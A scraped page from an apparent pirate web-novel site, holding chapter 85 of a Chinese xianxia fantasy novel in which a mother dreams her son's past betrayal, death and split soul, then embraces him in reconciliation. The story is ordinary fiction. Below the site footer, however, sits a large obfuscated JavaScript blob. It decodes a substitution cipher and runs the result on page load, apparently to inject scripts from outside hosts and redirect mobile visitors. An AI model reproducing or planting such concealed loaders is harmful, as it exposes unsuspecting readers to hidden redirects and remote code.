首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第85章 轩辕景忧,一梦千年

    第85章轩辕景忧,一梦千年(第1/2页)
    混沌时空玄晶洞天的温润灵光,丝丝缕缕缠绕周身,本该安定神魂、抚平心绪的祥和气息,终究没能困住轩辕景忧飘摇纷乱的思绪。不过瞬息之间,她的神魂便被一股无形而冰冷的力量狠狠拉扯,骤然坠入了无边无际、不见首尾的时光幻梦之中,一梦越千载春秋,亲眼看透了那段被天道尘封、被阴谋掩埋的万般血与痛。
    梦境没有半分虚幻缥缈,每一幕、每一个瞬间,都真实得触目惊心,像是一柄柄淬满刺骨寒冰的利刃,反复剜割着她的五脏六腑,让她连喘息都带着深入骨髓的剧痛,神魂都为之颤栗。
    她的神魂悬浮在混沌虚空之中,眼睁睁看着时光飞速回溯,最终定格在九百三十七年前的苍蓝界。那时的天地,尚是九大帝尊共治,诸天万灵各得其所,秩序井然。而轩辕帝尊身为九帝之首,受万灵朝拜,尊号万灵皇。他一身玄色帝袍猎猎作响,周身浩荡帝威足以镇压诸天万界,却从无半分骄纵暴戾,眼底始终装着苍生万灵,一心立志打破诸天森严阶级壁垒,建立一个平等无争、再无杀伐欺凌、众生皆安的万界秩序。他身旁的剑灵剑忧,身姿温婉,风华绝代,与他心意相通、生死相伴,一同守护着轩辕一族的鼎盛荣光,是诸天万界都艳羡不已的灵魂伴侣。
    紧接着,梦境画面飞速流转,她看见了那个刻入她骨血、让她倾尽一生呵护的少年模样。帝尊之子轩辕无忧,自降生便身负最纯正的轩辕皇族血脉,天赋异禀,惊才绝艳,不过十六岁,便修至真境大圆满,同辈之中无人能及,是整个苍蓝界万众瞩目、前途无可限量的天之骄子。他眉眼俊朗,意气风发,周身满是少年人的赤诚与明媚,眼底澄澈无垢,没有半分阴霾与戾气,满心都是纯粹的温热。
    而他身边,始终跟着一个容颜绝艳的女子——阴阳帝尊之女曦和。彼时的曦和,眉眼温婉,笑意盈盈,一袭浅粉衣裙衬得柔情似水,以青梅竹马之姿,寸步不离地伴在无忧身边,静静走过了整整千年时光。
    她看见两人一同踏遍苍蓝界的名山大川,春日共赏十里桃花灼灼,夏夜并肩仰望星河烂漫,秋日同游漫山枫林尽染,冬日相拥共赏漫天飞雪飘零;一同静坐悟道、朝夕相伴,一同修炼精进、并肩前行,许下生生世世、生死相守的亘古誓言。两人的婚约早早定下,他们是整个苍蓝界都公认的天作之合,是人人艳羡、无人不祝福的神仙眷侣。少年无忧满心都是赤诚纯粹的爱意,将曦和视作此生唯一,毫无保留地交付全部真心,甚至早已下定决心,大婚之后便将自己与生俱来、关乎性命的轩辕皇族道基,与她共享,从此大道同行、不离不弃,共赴长生。
    可景忧的神魂,却在这看似温情脉脉、岁月静好的画面里,无端生出一股刺骨寒意,心底翻涌着难以抑制的惶恐与不安。她想要嘶吼,想要拼命上前推开那副温柔皮囊下藏着歹毒心肠的女子,想要提醒那个满心赤诚的少年,可她的神魂被牢牢困在虚空之中,动弹不得,发不出半点声音,只能眼睁睁看着那场灭顶的悲剧,毫无征兆地降临。
    大婚前夕,漫天血色骤然染红仙宫大殿,将所有温情美好彻底撕碎,化作满地狼藉。
    前一刻还眉眼温柔、对无忧轻言细语、柔情似水的曦和,下一秒便骤然撕下所有伪装,那张绝美的脸庞上,再无半分情意,只剩下冰封千里的冷漠与藏不住的滔天野心。她抬手祭出诛仙剑,剑身煞气滔天、戾气横生,没有半分迟疑,没有半分犹豫,狠狠刺入了无忧的心口。
    “噗嗤——”
    利刃穿破血肉的刺耳声音,清晰地传入景忧耳中,疼得她神魂剧烈颤抖,浑身冰冷刺骨,如坠冰窖。
    那一剑,不仅穿破了无忧的胸膛,震碎了他赖以修行、关乎命脉的轩辕道基,更斩尽了两人千年的情分,斩断了少年人所有的赤诚、爱意与对世间的所有美好期许。
    无忧缓缓倒下,浑身被滚烫的鲜血浸透,玄色衣衫染成刺目的猩红。他倒在无边血泊之中,那双原本盛满星光、澄澈明亮的眼眸,只剩下无尽的痛楚、错愕与难以置信。他死死盯着眼前昔日的挚爱,看着她踩着自己的轩辕道基,一举突破桎梏、成就帝位;看着她反手联合各方野心势力,举起屠刀,血洗九大帝尊全族,将曾经鼎盛无比、威震诸天的轩辕一族,彻底覆灭;看着她最终一统诸天万界,登临至高帝位,号为曦和女帝,受万灵朝拜,风光无限,权倾诸天。
    “不——!”
    景忧在心底无声嘶吼,神魂像是被生生撕裂成两半,泪水不受控制地从虚幻的神魂眼眸中汹涌涌出,模糊了视线。她看着那具倒在血泊中的年轻身躯,心痛到近乎窒息,浑身颤栗不止——那是她的孩儿,是她放在心尖上、拼了命也要呵护的孩儿啊,怎会遭受这般锥心刺骨、痛彻心扉的劫难!
    紧接着,更让她肝肠寸断、痛不欲生的画面,接踵而至。
    无忧身死,神魂当场崩裂,一分为二。
    一缕微弱到极致的残魂,被迫脱离残破的肉身,如同风中残烛,摇摇欲坠,被战乱的气流裹挟着,飘向诸天万界的无尽角落。从此,它漫无目的地漂泊流浪,无依无靠,风餐露宿,日日被天地间的暴戾戾气侵蚀,夜夜承受着神魂碎裂的剧痛,历经近千年的孤寂与磨难,苟延残喘,如同一个无家可归的浪子,始终寻不到一丝归处,得不到半分温暖。
    而承载着他全部血脉本源、半生记忆的主魂,则带着无尽的痛楚、绝望与不甘,坠入了那诸天万灵闻之色变、凶煞滔天的无间炼狱——归墟。
    归墟,是诸天万界最黑暗、最残酷、最绝望的地方,这里没有一丝光明,没有半分温情,只有无数战败陨落的强者凶魂,和蚀骨销魂、能磨灭神魂的滔天戾气。无忧的主魂,本就遭受致命重创,濒临溃散,一入此地,便瞬间沦为那些凶魂厉鬼肆意欺凌、撕扯、啃噬的猎物。
    整整三千年时光。
    三千年的无边黑暗,三千年的极致折磨,三千年的无尽屈辱。
    他的主魂在无尽的痛苦中苦苦挣扎,被一次次撕碎,又靠着一丝微弱到极致的求生本能,勉强凝聚,反复承受着魂飞魄散的极致恐惧,被磨灭神智,被冲刷记忆。漫长到绝望的痛苦,彻底抹去了他所有的前尘过往:他忘了自己是谁,忘了威严慈爱的父亲轩辕帝尊,忘了一直守护他的剑忧母亲,忘了青梅竹马的虚假温情,更忘了那场让他身死族灭的穿心背叛与灭族之恨。到最后,他只剩下混沌不堪的意识,和一丝最原始、最卑微的求生本能,在无边黑暗中苟活,形如枯槁,惨不忍睹。
    景忧悬浮在虚空之中,看着那缕在归墟中受尽折磨、残破不堪、奄奄一息的主魂,泪水汹涌而出,彻底模糊了神魂视线。她浑身剧烈颤抖,双手死死攥紧,指甲深深嵌进虚幻的掌心,疼得浑身发麻,却依旧比不上心底万分之一的痛楚。她想冲上去,将那缕可怜到极致的主魂护在怀中,想替他承受所有的折磨与屈辱,想带他逃离这人间炼狱,可她什么也做不了,只能眼睁睁看着,看着她的孩儿,在炼狱之中,受尽苦难,心如刀绞,痛到麻木。
    她不知,归墟之中漫长三千年,在外界不过是弹指一瞬,仅仅过去了三年。
    苍蓝界上,轩辕帝尊痛失爱子,又清晰感知到轩辕一族的气运骤然暴跌,灭族浩劫近在眼前。这位睥睨诸天、一生沉稳内敛、心怀苍生的万灵人皇,再也无法维持镇定,他强忍撕心裂肺的悲痛,催动自身无上道眸,不惜损耗本源神魂,强行破开时空天机,终于窥见了所有被掩盖的真相:爱子被曦和暗算,魂坠归墟,永无轮回;曦和包藏祸心,野心滔天,覆灭九帝,只为一己之私、一统诸天;轩辕一脉,终将迎来灭顶之灾,彻底消亡于天地之间。
    那一刻,轩辕帝尊须发皆张,周身帝威狂暴涌动,悲痛与暴怒席卷了他的整个神魂。他一生心怀苍生,从未逆天而行,可这一次,为了他的孩儿,为了轩辕一族最后的血脉,他甘愿违背天地规则,甘愿承受一切天谴反噬,哪怕魂飞魄散,也在所不惜。
    他毫不犹豫,唤来本命轩辕剑,剑灵剑忧应声而出,眼神坚定,毫无畏惧,愿与他共赴生死。轩辕帝尊不惜自毁千年道基,燃烧自身毕生本源修为,将自身修为催动到极致,一身浴血,毅然孤身闯入了那连诸天强者都避之不及的归墟绝地。
    归墟之内,凶魂肆虐,煞气扑面,无数凶魂厉鬼朝着他疯狂扑杀而来。而此时,无忧的主魂早已残破到极致,如同风中摇曳的残烛,随时都会彻底熄灭,魂飞魄散。
    “吾儿!”
    轩辕帝尊一声悲吼,响彻归墟,震散周遭戾气。他双目赤红,满心皆是护子的决绝,与剑忧并肩作战,倾尽全身修为,剑斩万千凶魂,血洗了归墟一隅。归墟的戾气霸道无比,即便他是九帝之首,修为通天,也终究付出了惨痛代价:道基彻底崩裂,浑身伤痕累累,鲜血染红了玄色帝袍;剑忧剑灵也为护住无忧主魂,硬生生承受万千凶魂攻击,剑体寸寸碎裂,灵体残破不堪,濒临溃散。一人一剑,皆丢了半条性命,才堪堪将无忧那缕残破的主魂护在怀中,用自身修为护住,不让他再受半分伤害。
    (本章未完,请点击下一页继续阅读)第85章轩辕景忧,一梦千年(第2/2页)
    虚空之中,景忧看着那位满身浴血、却依旧死死护住孩儿主魂的父亲,泪水流得更凶,心中满是动容与酸涩。那是一位父亲,倾尽所有、不惜性命的守护,是哪怕逆天而行、魂飞魄散,也要护孩儿一线生机的决绝。
    轩辕帝尊深知,归墟绝非久留之地,主魂若继续停留,终究难逃湮灭的结局,唯有逆天转世,方能给轩辕一族留下最后的火种。
    他拖着残破到极致、随时都会崩塌的身躯,携着剑忧和无忧仅剩的主魂,一步一步,艰难地走向轮回禁地。他以自身残躯为刃,以仅剩的本源为引,不顾天道反噬的剧痛,硬生生撕裂了坚固无比的轮回壁垒,打乱了既定的天命轨迹,用尽最后一丝力气,将无忧那缕残破的主魂,小心翼翼送入了轮回长河之中,亲手将其托付给了轮回轨迹之中,素未谋面的轩辕景忧,让他转世重生,投入她的腹中,成为她骨血相连、十月怀胎的亲生孩儿。
    做完这一切,轩辕帝尊浑身的气息彻底溃散,再也支撑不住。
    他缓缓转过身,迎着漫天落下、劈向自身的天道劫雷,没有半分退缩,目光穿越无尽时空,精准地落在虚空之中景忧的神魂方向,缓缓躬身,郑重地行了一记人族最厚重、最虔诚的大礼。
    这一礼,重若千钧。
    是托孤,是致歉,是满心的恳求。
    他致歉眼前这个女子,致歉她此生要为守护他的孩儿,操劳半生,承受无尽的风雨与磨难;他恳求她,能善待这个历经万千劫难、残破不堪的孩儿,护着他平安长大,远离杀伐与背叛;他更是将孩儿余生所有的安稳,将轩辕一族最后的希望,尽数托付于她,毫无保留。
    这一礼,跨越了生死,跨越了时空,承载着一位父亲最后的执念与深沉爱意,也在冥冥之中,注定了轩辕景忧与无忧此生,割舍不断、生死相依的母子羁绊。
    逆天改命,必遭天诛。
    那一礼落下,轩辕帝尊再也支撑不住,周身道体寸寸崩毁,化作漫天光点,神魂在天道劫雷与本源枯竭的双重侵蚀下,彻底湮灭,化作诸天尘埃,彻底陨落于世。
    而剑灵剑忧,也在归墟重创与天道轮回的双重反噬之下,本命轩辕剑寸寸碎裂,神魂与剑身碎片一同散落诸天万界,陷入了漫长的沉睡,只留下一缕不灭的执念,飘荡在天地之间,静静等待着与忧儿重逢的那一日。
    画面再转,无忧的主魂顺着轮回长河,顺利投入她的腹中,十月怀胎,一朝分娩,呱呱坠地,成为了她的亲生儿子,取名轩辕无忧。
    可她终于明白,为何自己的孩儿自出生起,便体弱多病,药石不离,性格怯懦胆小,敏感又不安;为何十六年来,他始终无法开启鸿蒙道印,被旁人视作废物,受尽欺凌与白眼。
    不是他不够好,而是他的主魂,早已在归墟受尽折磨,残破到极致,神魂不稳,本源大亏,能顺利转世降生,已是父亲用命换来的奇迹。
    她看着那个从小依偎在她身边,胆小又脆弱、受了委屈只会躲在她怀里的孩儿,泪水模糊了视线,心底的疼惜与愧疚翻江倒海。
    而命运,终究没有放过这个历经劫难的孩子。
    十六岁那年,曦和女帝依旧不肯罢休,为斩草除根,暗中布下阴毒咒术,直指转世无忧。那阴毒的咒术侵入身躯,彻底击碎了他本就残破的主魂,让这一世的他,彻底消散殒命,再无生机。
    就在她的孩儿,她呵护了十六年的孩儿,主魂彻底消散、身躯濒临死寂的那一刻。
    那缕在诸天万界,漂泊了近千年,受尽孤寂、磨难与戾气侵蚀,无家可归、苟延残喘的无忧残魂,终于循着血脉与肉身的同源羁绊,跨越千山万水,寻到了这具身躯,顺势而入,借体重生。
    原来……原来从来都不是夺舍。
    从来都不是外人占据了她孩儿的身躯,而是那个漂泊了近千年、无依无靠、受尽苦难的无忧,终于找到了回家的路,终于回到了本该属于他的身躯里,终于回到了她的身边。
    他不是外人,他是她的忧儿,是那个两世历经劫难、却始终不曾被命运打垮的忧儿!
    轰——!
    所有梦境画面轰然破碎,时光幻梦彻底消散,混沌时空玄晶洞天的温润灵光重新笼罩周身。
    轩辕景忧猛地睁开双眼,剧烈地喘息着,胸口急剧起伏,浑身冷汗早已浸湿了周身衣衫,黏腻地贴在身上,额前的碎发也被冷汗浸透,凌乱地贴在苍白的额头。
    心口依旧在疯狂跳动,剧痛难忍,像是被一只无形的大手狠狠攥紧,每一次跳动,都牵扯着全身的疼痛,泪水早已决堤,顺着她苍白的脸颊,疯狂地滑落,滴落在衣襟上,晕开一片片湿痕。
    她浑身控制不住地剧烈颤抖,双肩不停耸动,喉咙里压抑着破碎的呜咽,再也忍不住,低声痛哭出声,哭声沙哑,满是心疼与绝望。
    旁人或许会纠结,主魂死了,残魂归来,是不是换了一个人;旁人或许会分辨,哪个才是真正的轩辕无忧。
    可她不会。
    她不懂什么魂魄分裂,不懂什么轮回残魂,不懂诸天的规则与天道的算计。她只是一个母亲,一个怀胎十月、亲手养大孩子的普通母亲。
    她只知道,这具身体,是她骨血相连生下来的;这个孩子,从小依赖她、信任她、甜甜地叫她娘亲。
    那个十六年里怯生生、黏着她、怕疼怕黑、被欺负会躲在她身后、小心翼翼活着的孩子,是她的忧儿;这个历经千年漂泊、满身伤痕、眼神冷冽却依旧会贪恋她怀抱、依赖她的少年,也是她的忧儿。
    主魂也好,残魂也罢,残缺也好,完整也罢。对她来说,从来没有区别。
    她心疼那个十六年体弱怯懦、受尽欺凌、短暂的一生都在痛苦和自卑里度过,连一句“娘亲我怕”都不敢大声说的主魂孩儿。
    可她更心疼怀里这个归来的残魂。
    因为主魂至少还有她。主魂至少有十六年的家,有她的怀抱,有她的呵护,有一口热饭,一盏暖灯,有人替他挡风遮雨。
    而这个残魂呢?
    近千年。天地为床,戾气为食,无依无靠,四处漂泊。被追杀,被啃噬,被天地抛弃,没有一个人喊他一声孩子,没有一个人给他一点温暖,没有一寸土地是他的家。明明是同一个人,明明受了同样的背叛与伤害,他却独自扛下了所有孤寂,独自在黑暗里流浪了近千年。
    他连撒娇的机会都没有,连害怕时可以躲的怀抱都没有。
    轩辕景忧手脚并用地爬过去,不顾一切地扑进少年怀里,双臂死死抱住他的腰身,勒得极紧,像是怕一松手,他又会消失,又会回到那个无人守护的炼狱,回到那个无边无际、孤身一人的诸天流浪。
    她把脸埋在少年的胸口,紧紧贴着他,听着他平稳有力的心跳,感受着他温热的体温,感受着他真实存在的重量,哭得肝肠寸断,声音沙哑破碎,每一个字都带着泣血的疼惜:
    “我的傻孩子……我的忧儿……”
    “主魂有娘亲疼过,有娘亲护过,你呢?”
    “你一个人飘了那么久,怕不怕?冷不冷?饿不饿?”
    “你明明也是我的孩儿,却吃了最多的苦,受了最多的罪……娘亲对不起你,娘亲来晚了……”
    哭到哽咽,她浑身颤抖着抬起满是泪痕的脸,指尖颤抖地抚上少年的脸颊,轻轻摩挲着,眼底是一片滚烫而坚定的温柔,带着倾尽一切的决绝:
    “忧儿,别管别人怎么说,别管天道如何算计。”
    “不管你变成什么样,不管你经历了什么,不管你是哪一个你。”
    “只要是你,就是娘亲的孩儿,是娘亲拼了命也要守护的孩儿。”
    “以前你两半都在受苦,都在颠沛流离,以后娘亲护着完整的你,再也不会让你分开受苦。”
    “娘亲把欠你的所有温暖,所有疼爱,全部补给你,一丝一毫都不会少。”
    “从今往后,娘亲拼了这条命,也绝不会再让任何人伤你一根手指头。”
    “谁都不行。曦和不行,天道不行,诸天万界谁都不行!”
    她紧紧抱着他,将千年亏欠的温柔与暖意,尽数倾注在这个失而复得的怀抱里,恨不得将自己所有的温度,都传给这个受尽苦难的少年。
    从今往后,没有主魂残魂之分,没有过去与未来之别。
    只有她,和她的忧儿。
    历经两世苦难,跨越千年时光,终于紧紧相拥,再也不会分离。

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();